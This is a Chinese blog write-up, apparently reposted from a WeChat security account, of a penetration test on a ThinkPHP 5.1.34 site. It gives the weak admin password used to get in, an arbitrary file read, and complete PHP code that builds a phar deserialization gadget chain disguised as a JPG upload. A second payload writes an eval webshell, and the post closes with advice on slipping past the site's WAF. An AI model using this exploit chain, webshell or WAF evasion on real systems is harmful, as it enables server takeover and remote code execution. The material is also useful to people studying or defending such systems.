在一次授权得渗透测试的过程中,一次简单的Phar反序列化GetShell过程
扫描目录发现源码备份,下载源码,发现使用的是ThinkPHP 5.1.34 LTS
框架
通过APP、Public得到后台访问路径/bhadmin
后台登陆存在弱口令(弱口令真是永远滴神):admin/123456
分析源码,发现在System控制器下有一个showlog()
方法
public
function
showlog
()
{
$path = input(
'post.path'
,
''
);
if
($path ==
''
)
return
json(
0
);
if
(!file_exists($path))
return
json(
'文件不存在'
);
$content = file_get_contents($path,
false
);
return
json($content);
}
$path
接收的是post
传参,参数名是path
,如果$path
为空,返回为0
,否则会检测该文件是否存在,如果存在则file_get_content()
读取成json
格式返回。input()
方法功能如下:
if
(!function_exists(
'input'
)) {
/**
* 获取输入数据 支持默认值和过滤
*
@param
string $key 获取的变量名
*
@param
mixed $default 默认值
*
@param
string $filter 过滤方法
*
@return
mixed
*/
function
input
($key =
''
, $default = null, $filter =
''
)
{
if
(
0
=== strpos($key,
'?'
)) {
$key = substr($key,
1
);
$has =
true
;
}
if
($pos = strpos($key,
'.'
)) {
// 指定参数来源
$method = substr($key,
0
, $pos);
if
(in_array($method, [
'get'
,
'post'
,
'put'
,
'patch'
,
'delete'
,
'route'
,
'param'
,
'request'
,
'session'
,
'cookie'
,
'server'
,
'env'
,
'path'
,
'file'
])) {
$key = substr($key, $pos +
1
);
}
else
{
$method =
'param'
;
}
}
else
{
// 默认为自动判断
$method =
'param'
;
}
if
(
isset
($has)) {
return
request()->has($key, $method, $default);
}
else
{
return
request()->$method($key, $default, $filter);
}
}
}
showlog()
方法参数可控,并且$path
传入file_exists()
、file_get_contents()
,首先这里是一个任意文件读取,但是重点不是这个哈,并且ThinkPHP 5.1.x
在网上有很多公开的反序列化利用链。众所周知。Phar
在压缩文件包时,会以序列化的形式存储用户自定义的meta-data
,配合phar://
协议就能在某些函数(一般是文件操作函数)等参数可控的情况下实现自动反序列化操作。
那么我们如果在后台传入一个构造好的phar
文件,然后在$path
的位置使用Phar://
协议访问改文件,即可触发phar反序列化
,showlog
方法的访问路由:/bhadmin/system/showlog
然后需要找到一个上传点,并且能获取上传文件的绝对路径。
添加资料这里有个编辑器,可以上传图片预览,可获得绝对路径
综上所述即可构造Phar
反序列化GetShell,直接用网上公开的链子
<?php
namespace
think
{
abstract
class
Model
{
private
$
withAttr
= [];
private
$data = [];
public
function
__construct
($function,$parameter)
{
$this
->data[
'smi1e'
] = $parameter;
$this
->withAttr[
'smi1e'
] = $function;
}
}
}
namespace
think
model
{
use
think
Model
;
class
Pivot
extends
Model
{}
}
namespace
think
process
pipes
{
use
Phar
;
use
think
model
Pivot
;
class
Windows
{
private
$files = [];
public
function
__construct
($function, $parameter)
{
$this
->files = [
new
Pivot($function, $parameter)];
}
}
$function =
'assert'
;
$parameter =
'phpinfo()'
;
$a =
new
Windows($function, $parameter);
$phar =
new
Phar(
'test.phar'
);
$phar->stopBuffering();
$phar->setStub(file_get_contents(
"pic.jpg"
) .
'<?php __HALT_COMPILER(); ?>'
);
$phar->addFromString(
'test.txt'
,
'test'
);
$phar->setMetadata($a);
$phar->stopBuffering();
}
同目录下随便放一张名为pic.jpg
的图片,运行该文件,将生成的test.phar
修改后缀为test.jpg
然后上传
回到showlog()
方法处,直接触发:触发:path=phar://public/kindedit/attached/image/20230531/64765e58e79df.jpg
构造写入Shell
<?php
namespace
think
{
abstract
class
Model
{
private
$
withAttr
= [];
private
$data = [];
public
function
__construct
()
{
$this
->data[
'smi1e'
] =
'D:\xxx\xxx\xxx\public\kindedit\attached\image\20230531\d72a3676c4413.php'
;
$this
->data[
'jelly'
] =
'<?php @eval($_POST[m]);?>'
;
$this
->withAttr[
'smi1e'
] =
'file_put_contents'
;
}
}
}
namespace
think
model
{
use
think
Model
;
class
Pivot
extends
Model
{}
}
namespace
think
process
pipes
{
use
Phar
;
use
think
model
Pivot
;
class
Windows
{
private
$files = [];
public
function
__construct
($function, $parameter)
{
$this
->files = [
new
Pivot($function, $parameter)];
}
}
$function =
'assert'
;
$parameter =
'phpinfo()'
;
$a =
new
Windows($function,$parameter);
$phar =
new
Phar(
'test.phar'
);
$phar->stopBuffering();
$phar->setStub(file_get_contents(
"pic.jpg"
) .
'<?php __HALT_COMPILER(); ?>'
);
$phar->addFromString(
'test.txt'
,
'test'
);
$phar->setMetadata($a);
$phar->stopBuffering();
}
成功写入shell,但是蚁剑连接还是报错,猜测有waf
把蚁剑流量代理到Burp
测试发现确实是有WAF
但是经过多次测试发现这个waf比较友好,过滤了@
、base64_decode
关键字,可以绕过,base64_decode
可以使用拼接绕过,@
直接可以去掉,不影响功能,直接使用Burp的匹配/替换功能
绕过waf之后即可成功连接shell
如果觉得这样代理到burp做替换不太方便,也可以上传冰蝎的AES加密shell,就不用绕过waf
原文始发于微信公众号(创信华通):创安实验室专栏丨记一次简单的Phar反序列化的实战运用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论